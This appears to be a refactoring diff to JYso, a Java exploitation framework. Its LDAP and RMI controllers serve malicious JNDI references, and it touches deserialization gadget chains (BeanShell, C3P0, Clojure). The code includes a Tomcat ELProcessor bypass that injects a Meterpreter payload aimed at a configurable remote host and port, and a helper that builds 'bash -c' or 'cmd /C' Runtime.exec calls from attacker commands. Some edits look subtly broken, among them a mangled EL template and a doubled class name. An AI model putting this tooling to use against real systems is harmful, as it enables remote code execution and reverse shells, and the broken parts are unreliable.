|
||||||
Config.rhost = results[0];
|
|
||||||
Config.rport = results[1];
|
|
||||||
System.out.println("[+] RemoteHost: " + results[0]);
|
|
||||||
System.out.println("[+] RemotePort: " + results[1]);
|
|
||||||
return results;
|
|
||||||
default:
|
|
||||||
return new String[0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 提取路径中的第 index 个非空段,保持与原有解析方式一致。
|
|
||||||
private String segment(String base, int index) {
|
|
||||||
return getStringQ(base, index);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 返回连字符后的子串,用于解析自定义类名。
|
|
||||||
private String suffixAfterDash(String value) {
|
|
||||||
int dashIndex = value.indexOf('-');
|
|
||||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。
|
|
||||||
private class TomcatBypassHelper {
|
private class TomcatBypassHelper {
|
||||||
String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = Class.forName("com.qi4l.JYso.template.com.qi4l.JYso.template.Meterpreter");
|
Class<?> clazz = Class.forName("com.qi4l.JYso.template.com.qi4l.JYso.template.Meterpreter");
|
||||||
@@ -171,17 +96,7 @@ public class ELProcessorController implements LdapController {
|
|||||||
}
|
}
|
||||||
|
|
||||||
String getExecCode(String cmd) {
|
String getExecCode(String cmd) {
|
||||||
return "var str_s=new Array(3);\n"
|
return BaseLdapController.getExecCode(cmd);
|
||||||
+ " if(java.io.File.separator.equals('/')){\n"
|
|
||||||
+ " str_s[0]='/bin/bash';\n"
|
|
||||||
+ " str_s[1]='-c';\n"
|
|
||||||
+ " str_s[2]='" + cmd + "';\n"
|
|
||||||
+ " }else{\n"
|
|
||||||
+ " str_s[0]='cmd';\n"
|
|
||||||
+ " str_s[1]='/C';\n"
|
|
||||||
+ " str_s[2]='" + cmd + "';\n"
|
|
||||||
+ " }\n"
|
|
||||||
+ " java.lang.Runtime.getRuntime().exec(str_s);";
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ import javax.naming.StringRefAddr;
|
|||||||
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/groovy"})
|
@LdapMapping(uri = {"/groovy"})
|
||||||
public class GroovyController implements LdapController {
|
public class GroovyController implements LdapController {
|
||||||
private String[] params;
|
private String[] params;
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import org.fusesource.jansi.Ansi;
|
|||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/memoryxxe"})
|
@LdapMapping(uri = {"/memoryxxe"})
|
||||||
public class MemoryXXEController implements LdapController {
|
public class MemoryXXEController implements LdapController {
|
||||||
private String[] params;
|
private String[] params;
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ import java.util.Base64;
|
|||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/deserialization"})
|
@LdapMapping(uri = {"/deserialization"})
|
||||||
public class SerializedDataController implements LdapController {
|
public class SerializedDataController implements LdapController {
|
||||||
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
|
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import org.fusesource.jansi.Ansi;
|
|||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/snakeyaml"})
|
@LdapMapping(uri = {"/snakeyaml"})
|
||||||
public class SnakeYamlController implements LdapController {
|
public class SnakeYamlController implements LdapController {
|
||||||
private String[] params;
|
private String[] params;
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import org.fusesource.jansi.Ansi;
|
|||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/xstream"})
|
@LdapMapping(uri = {"/xstream"})
|
||||||
public class XStreamController implements LdapController {
|
public class XStreamController implements LdapController {
|
||||||
private String[] params;
|
private String[] params;
|
||||||
|
|||||||
@@ -12,46 +12,34 @@ import org.fusesource.jansi.Ansi;
|
|||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/jdbc1"})
|
@LdapMapping(uri = {"/jdbc1"})
|
||||||
public class jdbcController1 implements LdapController {
|
public class jdbcController1 extends BaseLdapController {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(jdbcController1.class);
|
private static final Logger log = LogManager.getLogger(jdbcController1.class);
|
||||||
private static String driverq;
|
private static String driverq;
|
||||||
|
|
||||||
private static String factoryType;
|
private static String factoryType;
|
||||||
private static String[] params;
|
private static String[] params;
|
||||||
private static GadgetType gadgetType;
|
private static GadgetType gadgetType;
|
||||||
|
|
||||||
public static void printResultJDBC1(String base) throws Exception {
|
public static void printResultJDBC1(String base) throws Exception {
|
||||||
base = base.replace('\\', '/');
|
base = base.replace('\\', '/');
|
||||||
int fistIndex = base.indexOf("/");
|
|
||||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
|
||||||
if (secondIndex < 0) secondIndex = base.length();
|
|
||||||
|
|
||||||
try {
|
driverq = segment(base, 1);
|
||||||
driverq = base.substring(fistIndex + 1, secondIndex);
|
if (driverq.isEmpty()) {
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base);
|
||||||
} catch (IllegalArgumentException e) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
|
||||||
}
|
}
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
||||||
|
|
||||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
factoryType = segment(base, 2);
|
||||||
if (thirdIndex < 0) thirdIndex = base.length();
|
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||||
|
|
||||||
try {
|
String gadgetStr = segment(base, 3);
|
||||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
if (!gadgetStr.isEmpty()) {
|
||||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
|
||||||
} catch (IllegalArgumentException e) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
|
||||||
}
|
|
||||||
|
|
||||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
|
||||||
|
|
||||||
if (fourthIndex != -1) {
|
|
||||||
try {
|
try {
|
||||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
gadgetType = GadgetType.valueOf(gadgetStr.toLowerCase());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + gadgetStr);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -76,9 +64,9 @@ public class jdbcController1 implements LdapController {
|
|||||||
|
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
} catch (Throwable er) {
|
} catch (Exception er) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
log.error(String.valueOf(er));
|
log.error("Error while generating or serializing payload", er);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ import javax.naming.Reference;
|
|||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/jdbc2"})
|
@LdapMapping(uri = {"/jdbc2"})
|
||||||
public class jdbcController2 implements LdapController {
|
public class jdbcController2 implements LdapController {
|
||||||
|
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import com.unboundid.ldap.sdk.LDAPResult;
|
|||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
@SuppressWarnings("unused")
|
||||||
@LdapMapping(uri = {"/ldap2rmi"})
|
@LdapMapping(uri = {"/ldap2rmi"})
|
||||||
public class ldap2rmiController implements LdapController {
|
public class ldap2rmiController implements LdapController {
|
||||||
|
|
||||||
|
|||||||
@@ -1,30 +1,25 @@
|
|||||||
package com.qi4l.JYso.controllers.rmi;
|
package com.qi4l.JYso.controllers.rmi;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
import com.qi4l.JYso.controllers.BaseLdapController.ParseResult;
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
import com.qi4l.JYso.template.Meterpreter;
|
import com.qi4l.JYso.template.Meterpreter;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.util.Locale;
|
|
||||||
|
|
||||||
/**
|
import static com.qi4l.JYso.controllers.BaseLdapController.*;
|
||||||
* Build remote-loading Reference for RMI lookup path:
|
|
||||||
* basic/{payload}/{gadget}/{arg}
|
|
||||||
*/
|
|
||||||
public class Basic {
|
public class Basic {
|
||||||
private static String payloadType;
|
|
||||||
private static String[] params = new String[0];
|
|
||||||
private static GadgetType gadgetType;
|
|
||||||
|
|
||||||
public static Reference basic(String base) throws Exception {
|
public static Reference basic(String base) throws Exception {
|
||||||
parse(base);
|
ParseResult result = parseBase(base, "- JNDI RMI Remote Reference Links ");
|
||||||
|
String payloadType = result.payloadType;
|
||||||
|
String[] params = result.params;
|
||||||
|
|
||||||
String className;
|
String className;
|
||||||
if (payloadType.contains("E-")) {
|
if (payloadType.contains("E-")) {
|
||||||
@@ -49,87 +44,4 @@ public class Basic {
|
|||||||
|
|
||||||
return new Reference("Foo", className, Config.codeBase);
|
return new Reference("Foo", className, Config.codeBase);
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void parse(String base) {
|
|
||||||
System.out.println("- JNDI RMI Remote Reference Links ");
|
|
||||||
try {
|
|
||||||
String normalized = base.replace('\\', '/');
|
|
||||||
payloadType = segment(normalized, 1);
|
|
||||||
if (payloadType.isEmpty()) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
|
||||||
}
|
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
|
||||||
|
|
||||||
gadgetType = parseGadgetType(normalized);
|
|
||||||
params = resolveParams(normalized);
|
|
||||||
} catch (Exception e) {
|
|
||||||
if (e instanceof UnSupportedPayloadTypeException) {
|
|
||||||
throw (UnSupportedPayloadTypeException) e;
|
|
||||||
}
|
|
||||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
|
||||||
String segment = segment(base, 2);
|
|
||||||
if (segment.isEmpty()) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
|
||||||
} catch (IllegalArgumentException ignored) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String[] resolveParams(String base) throws Exception {
|
|
||||||
if (gadgetType == null) {
|
|
||||||
return new String[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
switch (gadgetType) {
|
|
||||||
case base64:
|
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
|
||||||
return new String[]{cmd};
|
|
||||||
case shell:
|
|
||||||
String encoded = Utils.getCmdFromBase(base);
|
|
||||||
String decoded = Utils.base64Decode(encoded);
|
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
|
||||||
return decoded.split(" ");
|
|
||||||
case msf:
|
|
||||||
String[] results = Utils.getIPAndPortFromBase(base);
|
|
||||||
Config.rhost = results[0];
|
|
||||||
Config.rport = results[1];
|
|
||||||
System.out.println(" RemoteHost: " + results[0]);
|
|
||||||
System.out.println(" RemotePort: " + results[1]);
|
|
||||||
return results;
|
|
||||||
default:
|
|
||||||
return new String[0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String segment(String base, int index) {
|
|
||||||
int cursor = 0;
|
|
||||||
int found = 0;
|
|
||||||
while (cursor < base.length()) {
|
|
||||||
int nextSlash = base.indexOf('/', cursor);
|
|
||||||
if (nextSlash == -1) {
|
|
||||||
nextSlash = base.length();
|
|
||||||
}
|
|
||||||
if (nextSlash > cursor) {
|
|
||||||
if (found == index) {
|
|
||||||
return base.substring(cursor, nextSlash);
|
|
||||||
}
|
|
||||||
found++;
|
|
||||||
}
|
|
||||||
cursor = nextSlash + 1;
|
|
||||||
}
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String suffixAfterDash(String value) {
|
|
||||||
int dashIndex = value.indexOf('-');
|
|
||||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,35 +1,31 @@
|
|||||||
package com.qi4l.JYso.controllers.rmi;
|
package com.qi4l.JYso.controllers.rmi;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
import com.qi4l.JYso.controllers.BaseLdapController;
|
||||||
|
import com.qi4l.JYso.controllers.BaseLdapController.ParseResult;
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
import com.qi4l.JYso.template.Meterpreter;
|
import com.qi4l.JYso.template.Meterpreter;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
import org.fusesource.jansi.Ansi;
|
|
||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
import java.util.Locale;
|
|
||||||
|
|
||||||
/**
|
import static com.qi4l.JYso.controllers.BaseLdapController.*;
|
||||||
* Build local-loading ResourceRef for RMI lookup path:
|
|
||||||
* ELProcessor/{payload}/{gadget}/{arg}
|
|
||||||
*/
|
|
||||||
public class ELProcessor {
|
public class ELProcessor {
|
||||||
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
|
private static final String SCRIPT_TEMPLATE = "{\"\"}.getClass().forName(\"javax.script.ScriptEngineManager\")"
|
||||||
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
||||||
+ ".eval(\"%s\")}";
|
+ ".eval(\"%s\")}";
|
||||||
|
|
||||||
private static String payloadType;
|
private static String payloadType;
|
||||||
private static String[] params = new String[0];
|
private static String[] params = new String[0];
|
||||||
private static GadgetType gadgetType;
|
|
||||||
|
|
||||||
public static ResourceRef refTomcatBypass(String base) throws Exception {
|
public static ResourceRef refTomcatBypass(String base) throws Exception {
|
||||||
parse(base);
|
ParseResult result = parseBase(base, "- JNDI RMI Local Reference Links + ELProcessor");
|
||||||
|
payloadType = result.payloadType;
|
||||||
|
params = result.params;
|
||||||
|
|
||||||
ResourceRef ref = new ResourceRef(
|
ResourceRef ref = new ResourceRef(
|
||||||
"javax.el.ELProcessor",
|
"javax.el.ELProcessor",
|
||||||
@@ -45,26 +41,6 @@ public class ELProcessor {
|
|||||||
return ref;
|
return ref;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void parse(String base) {
|
|
||||||
System.out.println("- JNDI RMI Local Reference Links + ELProcessor");
|
|
||||||
try {
|
|
||||||
String normalized = base.replace('\\', '/');
|
|
||||||
payloadType = segment(normalized, 1);
|
|
||||||
if (payloadType.isEmpty()) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
|
||||||
}
|
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
|
||||||
|
|
||||||
gadgetType = parseGadgetType(normalized);
|
|
||||||
params = resolveParams(normalized);
|
|
||||||
} catch (Exception e) {
|
|
||||||
if (e instanceof UnSupportedPayloadTypeException) {
|
|
||||||
throw (UnSupportedPayloadTypeException) e;
|
|
||||||
}
|
|
||||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String buildPayloadScript() throws Exception {
|
private static String buildPayloadScript() throws Exception {
|
||||||
String scriptBody;
|
String scriptBody;
|
||||||
if (payloadType.contains("E-")) {
|
if (payloadType.contains("E-")) {
|
||||||
@@ -77,7 +53,7 @@ public class ELProcessor {
|
|||||||
if (params.length == 0) {
|
if (params.length == 0) {
|
||||||
throw new IncorrectParamsException("Missing command parameters.");
|
throw new IncorrectParamsException("Missing command parameters.");
|
||||||
}
|
}
|
||||||
scriptBody = getExecCode(params[0]);
|
scriptBody = BaseLdapController.getExecCode(params[0]);
|
||||||
} else if (payloadType.contains("msf")) {
|
} else if (payloadType.contains("msf")) {
|
||||||
scriptBody = InjShell.injectClass(Meterpreter.class);
|
scriptBody = InjShell.injectClass(Meterpreter.class);
|
||||||
} else {
|
} else {
|
||||||
@@ -86,82 +62,4 @@ public class ELProcessor {
|
|||||||
|
|
||||||
return String.format(SCRIPT_TEMPLATE, scriptBody.replace("\"", "\\\""));
|
return String.format(SCRIPT_TEMPLATE, scriptBody.replace("\"", "\\\""));
|
||||||
}
|
}
|
||||||
|
|
||||||
private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
|
||||||
String segment = segment(base, 2);
|
|
||||||
if (segment.isEmpty()) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
|
||||||
} catch (IllegalArgumentException ignored) {
|
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String[] resolveParams(String base) throws Exception {
|
|
||||||
if (gadgetType == null) {
|
|
||||||
return new String[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
switch (gadgetType) {
|
|
||||||
case base64:
|
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
|
||||||
return new String[]{cmd};
|
|
||||||
case shell:
|
|
||||||
String encoded = Utils.getCmdFromBase(base);
|
|
||||||
String decoded = Utils.base64Decode(encoded);
|
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
|
||||||
return decoded.split(" ");
|
|
||||||
case msf:
|
|
||||||
String[] results = Utils.getIPAndPortFromBase(base);
|
|
||||||
Config.rhost = results[0];
|
|
||||||
Config.rport = results[1];
|
|
||||||
System.out.println(" RemoteHost: " + results[0]);
|
|
||||||
System.out.println(" RemotePort: " + results[1]);
|
|
||||||
return results;
|
|
||||||
default:
|
|
||||||
return new String[0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String getExecCode(String cmd) {
|
|
||||||
return "var str_s=new Array(3);\n"
|
|
||||||
+ "if(java.io.File.separator.equals('/')){\n"
|
|
||||||
+ "str_s[0]='/bin/bash';\n"
|
|
||||||
+ "str_s[1]='-c';\n"
|
|
||||||
+ "str_s[2]='" + cmd + "';\n"
|
|
||||||
+ "}else{\n"
|
|
||||||
+ "str_s[0]='cmd';\n"
|
|
||||||
+ "str_s[1]='/C';\n"
|
|
||||||
+ "str_s[2]='" + cmd + "';\n"
|
|
||||||
+ "}\n"
|
|
||||||
+ "java.lang.Runtime.getRuntime().exec(str_s);";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String segment(String base, int index) {
|
|
||||||
int cursor = 0;
|
|
||||||
int found = 0;
|
|
||||||
while (cursor < base.length()) {
|
|
||||||
int nextSlash = base.indexOf('/', cursor);
|
|
||||||
if (nextSlash == -1) {
|
|
||||||
nextSlash = base.length();
|
|
||||||
}
|
|
||||||
if (nextSlash > cursor) {
|
|
||||||
if (found == index) {
|
|
||||||
return base.substring(cursor, nextSlash);
|
|
||||||
}
|
|
||||||
found++;
|
|
||||||
}
|
|
||||||
cursor = nextSlash + 1;
|
|
||||||
}
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String suffixAfterDash(String value) {
|
|
||||||
int dashIndex = value.indexOf('-');
|
|
||||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ import bsh.XThis;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
|
||||||
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
@@ -22,7 +22,7 @@ import java.util.PriorityQueue;
|
|||||||
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
public PriorityQueue getObject(String command) throws Exception {
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
String payload = com.qi4l.JYso.gadgets.utils.Utils.makeBeanShellPayload(command);
|
||||||
Interpreter i = new Interpreter();
|
Interpreter i = new Interpreter();
|
||||||
i.eval(payload);
|
i.eval(payload);
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import bsh.Interpreter;
|
|||||||
import bsh.NameSpace;
|
import bsh.NameSpace;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
|
||||||
|
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
@@ -20,7 +20,7 @@ import java.util.PriorityQueue;
|
|||||||
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
public PriorityQueue getObject(String command) throws Exception {
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
String payload = com.qi4l.JYso.gadgets.utils.Utils.makeBeanShellPayload(command);
|
||||||
Interpreter i = new Interpreter();
|
Interpreter i = new Interpreter();
|
||||||
|
|
||||||
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ import com.mchange.v2.c3p0.PoolBackedDataSource;
|
|||||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.HexUtils;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
|
|
||||||
@@ -97,8 +96,8 @@ public class C3P04 implements ObjectPayload<Object> {
|
|||||||
break;
|
break;
|
||||||
case "c3p0Double":
|
case "c3p0Double":
|
||||||
try {
|
try {
|
||||||
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
byte[] data = com.qi4l.JYso.gadgets.utils.Utils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||||
String hexString = HexUtils.bytesToHexString(data, data.length);
|
String hexString = com.qi4l.JYso.gadgets.utils.Utils.bytesToHexString(data, data.length);
|
||||||
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
||||||
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import clojure.lang.PersistentArrayMap;
|
|||||||
import clojure.main$eval_opt;
|
import clojure.main$eval_opt;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -34,7 +34,7 @@ import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
|||||||
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
||||||
|
|
||||||
public Map<?, ?> getObject(String command) throws Exception {
|
public Map<?, ?> getObject(String command) throws Exception {
|
||||||
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
String clojurePayload = com.qi4l.JYso.gadgets.utils.Utils.makeClojurePayload(command);
|
||||||
Map<String, Object> fnMap = new HashMap<>();
|
Map<String, Object> fnMap = new HashMap<>();
|
||||||
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
||||||
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||||
|
|||||||
